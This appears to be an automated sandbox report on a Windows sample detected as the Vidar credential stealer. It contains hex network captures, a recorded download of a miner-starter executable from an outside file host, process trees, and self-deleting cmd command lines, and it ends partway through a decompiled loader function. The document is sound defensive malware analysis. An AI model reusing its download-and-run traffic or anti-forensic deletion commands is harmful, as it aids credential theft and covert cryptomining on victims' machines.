2023-01-25 20:04:38 UTC	7532	IN	Data Raw: 00 5e 4d 34 00 78 05 76 00 60 4d 34 00 87 4d 34 00 84 05 76 00 90 4d 34 00 be 4d 34 00 88 05 76 00 c0 4d 34 00 f6 4e 34 00 8c 05 76 00 00 4f 34 00 5f 50 34 00 a0 05 76 00 60 50 34 00 8c 50 34 00 b4 05 76 00 90 50 34 00 f1 59 34 00 bc 05 76 00 00 5a 34 00 8a 5a 34 00 c8 05 76 00 90 5a 34 00 d1 5a 34 00 d4 05 76 00 e0 5a 34 00 26 5b 34 00 e0 05 76 00 30 5b 34 00 80 5b 34 00 e4 05 76 00 80 5b 34 00 82 5b 34 00 e8 05 76 00 90 5b 34 00 ab 5c 34 00 ec 05 76 00 b0 5c 34 00 6f 5d 34 00 f8 05 76 00 70 5d 34 00 9d 5d 34 00 04 06 76 00 a0 5d 34 00 b1 5d 34 00 08 06 76 00 c0 5d 34 00 ed 5d 34 00 0c 06 76 00 f0 5d 34 00 20 61 34 00 10 06 76 00 20 61 34 00 67 61 34 00 24 06 76 00 70 61 34 00 a9 64 34 00 2c 06 76 00 b0 64 34 00 eb 65 34 00 40 06 76 00 f0 65 34 00 23 66 Data Ascii: ^M4xv`M4M4vM4M4vM4N4vO4_P4v`P4P4vP4Y4vZ4Z4vZ4Z4vZ4&[4v0[4[4v[4[4v[4\4v\4o]4vp]4]4v]4]4v]4]4v]4 a4v a4ga4$vpa4d4,vd4e4@ve4#f
2023-01-25 20:04:38 UTC	7548	IN	Data Raw: 00 b4 55 76 00 80 0b 40 00 32 0c 40 00 bc 55 76 00 20 11 40 00 3f 11 40 00 c4 55 76 00 40 11 40 00 48 11 40 00 cc 55 76 00 50 11 40 00 5b 11 40 00 d0 55 76 00 60 11 40 00 6b 11 40 00 d4 55 76 00 70 11 40 00 7b 11 40 00 d8 55 76 00 90 11 40 00 9b 11 40 00 e0 4f 76 00 9b 11 40 00 a5 11 40 00 08 50 76 00 a5 11 40 00 af 11 40 00 20 50 76 00 af 11 40 00 b9 11 40 00 2c 50 76 00 b9 11 40 00 c2 11 40 00 54 50 76 00 c2 11 40 00 cc 11 40 00 74 50 76 00 cc 11 40 00 d6 11 40 00 90 50 76 00 d6 11 40 00 e0 11 40 00 b8 50 76 00 e0 11 40 00 ea 11 40 00 d8 50 76 00 ea 11 40 00 fe 11 40 00 f8 50 76 00 fe 11 40 00 08 12 40 00 20 51 76 00 08 12 40 00 1c 12 40 00 38 51 76 00 1c 12 40 00 54 12 40 00 60 51 76 00 54 12 40 00 5e 12 40 00 88 51 76 00 5e 12 40 00 68 12 40 00 b0 51 Data Ascii: Uv@2@Uv @?@Uv@@H@UvP@[@Uv`@k@Uvp@{@Uv@@Ov@@Pv@@ Pv@@,Pv@@TPv@@tPv@@Pv@@Pv@@Pv@@Pv@@ Qv@@8Qv@T@`QvT@^@Qv^@h@Q
2023-01-25 20:04:38 UTC	7564	IN	Data Raw: 00 07 42 03 30 02 c0 00 00 01 05 02 00 05 32 01 30 01 10 09 00 10 e2 0c 30 0b 60 0a 70 09 50 08 c0 06 d0 04 e0 02 f0 00 00 01 07 03 00 07 42 03 30 02 c0 00 00 01 08 04 00 08 32 04 30 03 60 02 c0 01 08 04 00 08 52 04 30 03 60 02 c0 01 08 04 00 08 32 04 30 03 60 02 c0 01 10 09 00 10 82 0c 30 0b 60 0a 70 09 50 08 c0 06 d0 04 e0 02 f0 00 00 01 08 04 00 08 32 04 30 03 60 02 c0 01 08 04 00 08 32 04 30 03 70 02 c0 01 05 02 00 05 32 01 30 01 07 03 00 07 42 03 70 02 c0 00 00 01 0b 06 00 0b 32 07 30 06 60 05 70 04 c0 02 d0 01 08 04 00 08 32 04 30 03 70 02 c0 01 0b 06 00 0b 32 07 30 06 60 05 70 04 c0 02 d0 01 0c 07 00 0c 42 08 30 07 60 06 70 05 50 04 c0 02 d0 00 00 01 0b 06 00 0b 32 07 30 06 60 05 70 04 c0 02 d0 01 07 03 00 07 42 03 30 02 c0 00 00 01 07 03 00 07 42 Data Ascii: B0200`pPB020`R0`20`0`pP20`20p20Bp20`p20p20`pB0`pP20`pB0B
2023-01-25 20:04:38 UTC	7580	IN	Data Raw: 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 7c 00 00 80 Data Ascii: \|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|
2023-01-25 20:04:38 UTC	7596	IN	Data Raw: a9 38 a9 80 a9 90 a9 98 a9 e0 a9 f0 a9 f8 a9 40 aa 50 aa 58 aa a0 aa b0 aa b8 aa 00 ab 10 ab 18 ab 60 ab 70 ab 78 ab c0 ab d0 ab 20 ac 30 ac 78 ac 80 ac 90 ac d8 ac e0 ac f0 ac 00 00 00 50 47 00 ec 00 00 00 98 a2 a0 a2 f8 a2 00 a3 58 a3 60 a3 b8 a3 c0 a3 18 a4 20 a4 78 a4 80 a4 d8 a4 e0 a4 38 a5 40 a5 98 a5 a0 a5 f8 a5 00 a6 58 a6 60 a6 c0 a6 e8 a6 18 a7 20 a7 78 a7 80 a7 d8 a7 e0 a7 40 a8 58 a8 60 a8 68 a8 a0 a8 b8 a8 c0 a8 c8 a8 00 a9 18 a9 20 a9 28 a9 60 a9 78 a9 80 a9 88 a9 c0 a9 d8 a9 e0 a9 e8 a9 20 aa 38 aa 40 aa 48 aa 80 aa 98 aa a0 aa a8 aa e0 aa f8 aa 00 ab 08 ab 40 ab 58 ab 60 ab 68 ab a0 ab b8 ab c0 ab c8 ab 00 ac 18 ac 20 ac 28 ac 60 ac 78 ac 80 ac 88 ac c0 ac d8 ac e0 ac e8 ac 20 ad 38 ad 40 ad 48 ad 80 ad 98 ad a0 ad a8 ad e0 ad f8 ad 00 ae Data Ascii: 8@PX`px 0xPGX` x8@X` x@X`h (`x 8@H@X`h (`x 8@H
2023-01-25 20:04:38 UTC	7612	IN	Data Raw: a5 c0 a5 c8 a5 d8 a5 e0 a5 20 a6 30 a6 38 a6 50 a6 58 a6 68 a6 70 a6 80 a6 88 a6 98 a6 a0 a6 e0 a6 f0 a6 f8 a6 10 a7 18 a7 28 a7 30 a7 40 a7 48 a7 58 a7 60 a7 a0 a7 b0 a7 b8 a7 d0 a7 d8 a7 e8 a7 f0 a7 00 a8 08 a8 18 a8 20 a8 60 a8 70 a8 78 a8 90 a8 98 a8 a8 a8 b0 a8 c0 a8 c8 a8 d8 a8 e0 a8 20 a9 30 a9 38 a9 50 a9 58 a9 68 a9 70 a9 80 a9 88 a9 98 a9 a0 a9 e0 a9 f0 a9 f8 a9 10 aa 18 aa 28 aa 30 aa 40 aa 48 aa 58 aa 60 aa a0 aa b0 aa b8 aa d0 aa d8 aa e8 aa f0 aa 00 ab 08 ab 18 ab 20 ab 60 ab 70 ab 78 ab 90 ab 98 ab a8 ab b0 ab c0 ab c8 ab d8 ab e0 ab 20 ac 30 ac 38 ac 50 ac 58 ac 68 ac 70 ac 80 ac 88 ac 98 ac a0 ac e0 ac f0 ac f8 ac 10 ad 18 ad 28 ad 30 ad 40 ad 48 ad 58 ad 60 ad a0 ad b0 ad b8 ad d0 ad d8 ad e8 ad f0 ad 00 ae 08 ae 18 ae 20 ae 60 ae 70 ae Data Ascii: 08PXhp(0@HX` `px 08PXhp(0@HX` `px 08PXhp(0@HX` `p
2023-01-25 20:04:38 UTC	7628	IN	Data Raw: ad 58 ad 60 ad 68 ad 78 ad 80 ad 88 ad 98 ad a0 ad a8 ad b8 ad c0 ad c8 ad d8 ad e0 ad e8 ad f8 ad 00 ae 08 ae 18 ae 20 ae 28 ae 38 ae 40 ae 48 ae 58 ae 60 ae 68 ae 78 ae 80 ae 88 ae 98 ae a0 ae a8 ae b8 ae c0 ae c8 ae d8 ae e0 ae e8 ae f8 ae 00 af 08 af 18 af 20 af 28 af 38 af 00 20 57 00 04 03 00 00 c0 a0 c8 a0 d0 a0 e0 a0 00 a1 08 a1 10 a1 20 a1 40 a1 48 a1 50 a1 60 a1 80 a1 88 a1 90 a1 a0 a1 a8 a1 b0 a1 c0 a1 c8 a1 d0 a1 d8 a1 e8 a1 f0 a1 f8 a1 00 a2 10 a2 18 a2 20 a2 28 a2 38 a2 40 a2 48 a2 50 a2 60 a2 68 a2 70 a2 78 a2 88 a2 90 a2 98 a2 a0 a2 b0 a2 b8 a2 c0 a2 c8 a2 d8 a2 e0 a2 e8 a2 f0 a2 00 a3 08 a3 10 a3 18 a3 28 a3 30 a3 38 a3 40 a3 50 a3 58 a3 60 a3 68 a3 78 a3 80 a3 88 a3 90 a3 a0 a3 a8 a3 b0 a3 b8 a3 c8 a3 d0 a3 d8 a3 e0 a3 f0 a3 f8 a3 00 a4 Data Ascii: X`hx (8@HX`hx (8 W @HP` (8@HP`hpx(08@PX`hx

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49717	92.222.250.82	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-25 20:04:40 UTC	7636	OUT	GET /63bb049fe3c89h?raw HTTP/1.1 Host: dl.uploadgram.me Cache-Control: no-cache
2023-01-25 20:04:41 UTC	7636	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 25 Jan 2023 20:04:41 GMT Content-Type: application/octet-stream Content-Length: 18944 Connection: close cache-control: max-age=31556926 content-transfer-encoding: Binary accept-ranges: bytes content-disposition: attachment; filename="Starter.exe"; filename*=utf-8''Starter.exe x-frame-options: SAMEORIGIN x-robots-tag: noindex x-frames-options: deny
2023-01-25 20:04:41 UTC	7637	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 96 bd 49 f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 3e 00 00 00 0a 00 00 00 00 00 00 aa 5d 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELI"0>] `@ `
2023-01-25 20:04:41 UTC	7652	IN	Data Raw: 38 39 23 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 2e 52 75 6e 74 69 6d 65 52 65 73 6f 75 72 63 65 53 65 74 02 00 00 00 00 00 00 00 00 00 00 00 50 41 44 50 41 44 50 b4 00 00 00 00 00 00 00 9e 61 50 91 00 00 00 00 02 00 00 00 7d 00 00 00 d8 5c 00 00 d8 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 53 44 53 0e ee 58 e1 a4 5c 50 4c a5 e2 a4 12 e3 ae 9c 15 01 00 00 00 43 3a 5c 55 73 65 72 73 5c 61 64 6d 69 6e 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 54 61 73 6b 31 36 4d 69 6e 65 72 53 74 61 72 74 65 72 5c 54 61 73 6b 31 36 4d 69 6e 65 72 53 74 61 72 74 65 72 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 54 61 73 6b 31 36 4d 69 6e 65 72 53 74 61 72 74 65 72 2e 70 64 62 00 7d 5d 00 00 00 00 00 00 00 00 00 00 97 Data Ascii: 89#System.Resources.RuntimeResourceSetPADPADPaP}\>RSDSX\PLC:\Users\admin\source\repos\Task16MinerStarter\Task16MinerStarter\obj\Release\Task16MinerStarter.pdb}]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49718	142.250.203.110	443	C:\ProgramData\92398908710653760371.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-25 20:04:41 UTC	7655	OUT	GET /getAccountSwitcherEndpoint HTTP/1.1 Host: www.youtube.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2023-01-25 20:04:41 UTC	7655	IN	HTTP/1.1 302 Found Content-Type: application/binary X-Content-Type-Options: nosniff Location: https://accounts.google.com/ServiceLogin?service=youtube&passive=1209600&continue=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint&followup=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version= Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube_main" Date: Wed, 25 Jan 2023 20:04:41 GMT Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: CONSENT=PENDING+146; expires=Fri, 24-Jan-2025 20:04:41 GMT; path=/; domain=.youtube.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Setup.exePID: 6128, Parent PID: 3452

General

Target ID:	0
Start time:	21:04:18
Start date:	25/01/2023
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Setup.exe
Imagebase:	0x2c0000
File size:	3999744 bytes
MD5 hash:	494E03D339C4B84F71F0C122DE940860
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 500, Parent PID: 6128

General

Target ID:	1
Start time:	21:04:19
Start date:	25/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 5124, Parent PID: 6128

General

Target ID:	2
Start time:	21:04:21
Start date:	25/01/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0xc0000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 92398908710653760371.exePID: 6068, Parent PID: 5124

General

Target ID:	4
Start time:	21:04:39
Start date:	25/01/2023
Path:	C:\ProgramData\92398908710653760371.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\92398908710653760371.exe"
Imagebase:	0x370000
File size:	7806464 bytes
MD5 hash:	32C739F079BF72DE402D64B67780D115
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 68398609819664439000.exePID: 6124, Parent PID: 5124

General

Target ID:	8
Start time:	21:04:40
Start date:	25/01/2023
Path:	C:\ProgramData\68398609819664439000.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\68398609819664439000.exe"
Imagebase:	0xe70000
File size:	18944 bytes
MD5 hash:	FC919F65105FCFE816F9A62D0F1D6921
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 624, Parent PID: 6068

General

Target ID:	10
Start time:	21:04:41
Start date:	25/01/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\92398908710653760371.exe
Imagebase:	0x7ff7cb270000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3244, Parent PID: 5124

General

Target ID:	11
Start time:	21:04:41
Start date:	25/01/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" & exit
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4976, Parent PID: 624

General

Target ID:	12
Start time:	21:04:41
Start date:	25/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 276, Parent PID: 3244

General

Target ID:	13
Start time:	21:04:41
Start date:	25/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: choice.exePID: 3508, Parent PID: 624

General

Target ID:	14
Start time:	21:04:41
Start date:	25/01/2023
Path:	C:\Windows\System32\choice.exe
Wow64 process (32bit):	false
Commandline:	choice /C Y /N /D Y /T 0
Imagebase:	0x7ff7cd170000
File size:	33280 bytes
MD5 hash:	EA29BC6BCB1EFCE9C9946C3602F3E754
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: timeout.exePID: 3432, Parent PID: 3244

General

Target ID:	15
Start time:	21:04:42
Start date:	25/01/2023
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 6
Imagebase:	0xfe0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: AppLaunch.exePID: 5124, Parent PID: 6128COMMON

Execution Graph

Execution Coverage:	35.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.8%
Total number of Nodes:	1788
Total number of Limit Nodes:	36

Executed Functions

Function 00423F60 Relevance: 227.4, APIs: 151, Instructions: 911
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00423F60() {
				struct HINSTANCE__* _t1;
				struct HINSTANCE__* _t2;
				struct HINSTANCE__* _t3;
				CHAR* _t4;
				struct HINSTANCE__* _t5;
				struct HINSTANCE__* _t6;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				struct HINSTANCE__* _t10;
				CHAR* _t12;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t17;
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t19;
				struct HINSTANCE__* _t20;
				struct HINSTANCE__* _t21;
				struct HINSTANCE__* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				struct HINSTANCE__* _t25;
				struct HINSTANCE__* _t26;
				struct HINSTANCE__* _t27;
				_Unknown_base(*)()* _t28;
				CHAR* _t29;
				_Unknown_base(*)()* _t30;
				struct HINSTANCE__* _t31;
				_Unknown_base(*)()* _t32;
				_Unknown_base(*)()* _t33;
				CHAR* _t34;
				_Unknown_base(*)()* _t35;
				struct HINSTANCE__* _t36;
				_Unknown_base(*)()* _t37;
				_Unknown_base(*)()* _t38;
				CHAR* _t39;
				_Unknown_base(*)()* _t40;
				_Unknown_base(*)()* _t42;
				struct HINSTANCE__* _t43;
				_Unknown_base(*)()* _t44;
				_Unknown_base(*)()* _t45;
				CHAR* _t46;
				_Unknown_base(*)()* _t47;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				_Unknown_base(*)()* _t51;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t55;
				struct HINSTANCE__* _t56;
				_Unknown_base(*)()* _t57;
				_Unknown_base(*)()* _t59;
				struct HINSTANCE__* _t60;
				_Unknown_base(*)()* _t61;
				_Unknown_base(*)()* _t62;
				CHAR* _t63;
				_Unknown_base(*)()* _t64;
				struct HINSTANCE__* _t65;
				_Unknown_base(*)()* _t66;
				_Unknown_base(*)()* _t67;
				CHAR* _t68;
				_Unknown_base(*)()* _t69;
				struct HINSTANCE__* _t70;
				_Unknown_base(*)()* _t71;
				_Unknown_base(*)()* _t72;
				CHAR* _t73;
				_Unknown_base(*)()* _t74;
				struct HINSTANCE__* _t75;
				_Unknown_base(*)()* _t77;
				struct HINSTANCE__* _t78;
				_Unknown_base(*)()* _t79;
				_Unknown_base(*)()* _t80;
				CHAR* _t81;
				_Unknown_base(*)()* _t82;
				struct HINSTANCE__* _t83;
				_Unknown_base(*)()* _t85;
				CHAR* _t86;
				_Unknown_base(*)()* _t87;
				struct HINSTANCE__* _t88;
				_Unknown_base(*)()* _t89;
				_Unknown_base(*)()* _t90;
				CHAR* _t91;
				_Unknown_base(*)()* _t92;
				struct HINSTANCE__* _t93;
				_Unknown_base(*)()* _t94;
				_Unknown_base(*)()* _t96;
				struct HINSTANCE__* _t97;
				_Unknown_base(*)()* _t98;
				_Unknown_base(*)()* _t99;
				CHAR* _t100;
				_Unknown_base(*)()* _t101;
				struct HINSTANCE__* _t102;
				_Unknown_base(*)()* _t103;
				_Unknown_base(*)()* _t104;
				CHAR* _t105;
				_Unknown_base(*)()* _t106;
				struct HINSTANCE__* _t107;
				_Unknown_base(*)()* _t108;
				_Unknown_base(*)()* _t109;
				CHAR* _t110;
				_Unknown_base(*)()* _t111;
				struct HINSTANCE__* _t112;
				_Unknown_base(*)()* _t113;
				_Unknown_base(*)()* _t114;
				CHAR* _t115;
				_Unknown_base(*)()* _t117;
				struct HINSTANCE__* _t118;
				_Unknown_base(*)()* _t119;
				_Unknown_base(*)()* _t120;
				CHAR* _t121;
				_Unknown_base(*)()* _t122;
				struct HINSTANCE__* _t123;
				_Unknown_base(*)()* _t124;
				_Unknown_base(*)()* _t125;
				CHAR* _t126;
				_Unknown_base(*)()* _t127;
				struct HINSTANCE__* _t128;
				_Unknown_base(*)()* _t129;
				_Unknown_base(*)()* _t130;
				CHAR* _t131;
				_Unknown_base(*)()* _t132;
				struct HINSTANCE__* _t133;
				_Unknown_base(*)()* _t134;
				_Unknown_base(*)()* _t135;
				CHAR* _t136;
				_Unknown_base(*)()* _t137;
				struct HINSTANCE__* _t138;
				_Unknown_base(*)()* _t139;
				_Unknown_base(*)()* _t141;
				struct HINSTANCE__* _t142;
				_Unknown_base(*)()* _t143;
				_Unknown_base(*)()* _t145;
				struct HINSTANCE__* _t146;
				_Unknown_base(*)()* _t147;
				_Unknown_base(*)()* _t148;
				CHAR* _t149;
				_Unknown_base(*)()* _t150;
				struct HINSTANCE__* _t151;
				_Unknown_base(*)()* _t152;
				_Unknown_base(*)()* _t154;
				struct HINSTANCE__* _t155;
				_Unknown_base(*)()* _t156;
				_Unknown_base(*)()* _t157;
				CHAR* _t158;
				_Unknown_base(*)()* _t159;
				struct HINSTANCE__* _t160;
				_Unknown_base(*)()* _t161;
				_Unknown_base(*)()* _t162;
				CHAR* _t163;
				_Unknown_base(*)()* _t164;
				struct HINSTANCE__* _t165;
				_Unknown_base(*)()* _t166;
				_Unknown_base(*)()* _t167;
				CHAR* _t168;
				_Unknown_base(*)()* _t169;
				struct HINSTANCE__* _t170;
				_Unknown_base(*)()* _t171;
				_Unknown_base(*)()* _t172;
				CHAR* _t173;
				_Unknown_base(*)()* _t174;
				struct HINSTANCE__* _t175;
				_Unknown_base(*)()* _t176;
				_Unknown_base(*)()* _t177;
				CHAR* _t178;
				_Unknown_base(*)()* _t179;
				struct HINSTANCE__* _t180;
				_Unknown_base(*)()* _t181;
				_Unknown_base(*)()* _t182;
				CHAR* _t183;
				_Unknown_base(*)()* _t184;
				struct HINSTANCE__* _t185;
				_Unknown_base(*)()* _t186;
				_Unknown_base(*)()* _t187;
				CHAR* _t188;
				_Unknown_base(*)()* _t189;
				struct HINSTANCE__* _t190;
				_Unknown_base(*)()* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t193;
				_Unknown_base(*)()* _t194;
				struct HINSTANCE__* _t195;
				_Unknown_base(*)()* _t196;
				CHAR* _t198;
				_Unknown_base(*)()* _t199;
				struct HINSTANCE__* _t200;
				_Unknown_base(*)()* _t201;
				_Unknown_base(*)()* _t202;
				CHAR* _t203;
				_Unknown_base(*)()* _t204;
				struct HINSTANCE__* _t205;
				_Unknown_base(*)()* _t206;
				_Unknown_base(*)()* _t207;
				CHAR* _t208;
				_Unknown_base(*)()* _t209;
				struct HINSTANCE__* _t210;
				_Unknown_base(*)()* _t211;
				_Unknown_base(*)()* _t212;
				CHAR* _t213;
				_Unknown_base(*)()* _t214;
				struct HINSTANCE__* _t215;
				_Unknown_base(*)()* _t216;
				_Unknown_base(*)()* _t217;
				CHAR* _t218;
				_Unknown_base(*)()* _t219;
				struct HINSTANCE__* _t220;
				_Unknown_base(*)()* _t221;
				_Unknown_base(*)()* _t222;
				CHAR* _t223;
				_Unknown_base(*)()* _t224;
				struct HINSTANCE__* _t225;
				_Unknown_base(*)()* _t226;
				_Unknown_base(*)()* _t227;
				CHAR* _t228;
				_Unknown_base(*)()* _t229;
				struct HINSTANCE__* _t230;
				_Unknown_base(*)()* _t231;
				_Unknown_base(*)()* _t232;
				CHAR* _t233;
				_Unknown_base(*)()* _t234;
				struct HINSTANCE__* _t235;
				_Unknown_base(*)()* _t236;
				_Unknown_base(*)()* _t237;
				CHAR* _t238;
				_Unknown_base(*)()* _t239;
				struct HINSTANCE__* _t240;
				_Unknown_base(*)()* _t241;
				CHAR* _t243;
